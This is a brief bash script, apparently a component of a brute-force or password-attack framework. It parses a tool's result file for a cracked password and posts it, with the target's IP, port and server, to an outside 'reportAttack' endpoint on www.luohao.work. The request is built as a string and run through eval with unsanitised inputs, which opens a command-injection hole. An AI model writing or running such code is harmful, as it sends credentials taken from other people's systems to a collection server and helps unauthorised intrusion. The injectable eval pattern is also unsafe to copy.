#!/usr/bin/env bash


ip=$1
port=$2
server=$3
result=$4


## 这个在cmd目录
res=`cat ./result.txt`
echo $res >> log.txt
result="-1"

if [[ $res =~ "password" ]]
then
    result=`echo $res | sed 's/.*password: \(.*\)/\1/g'`
else
    result="-2"
fi




req="curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
\"ip\": \"$ip\" ,\
\"port\": \"$port\" ,\
\"server\": \"$server\" ,\
\"attackResult\":\"$result\"
}' 'http://www.luohao.work/target/reportAttack'"

eval $req


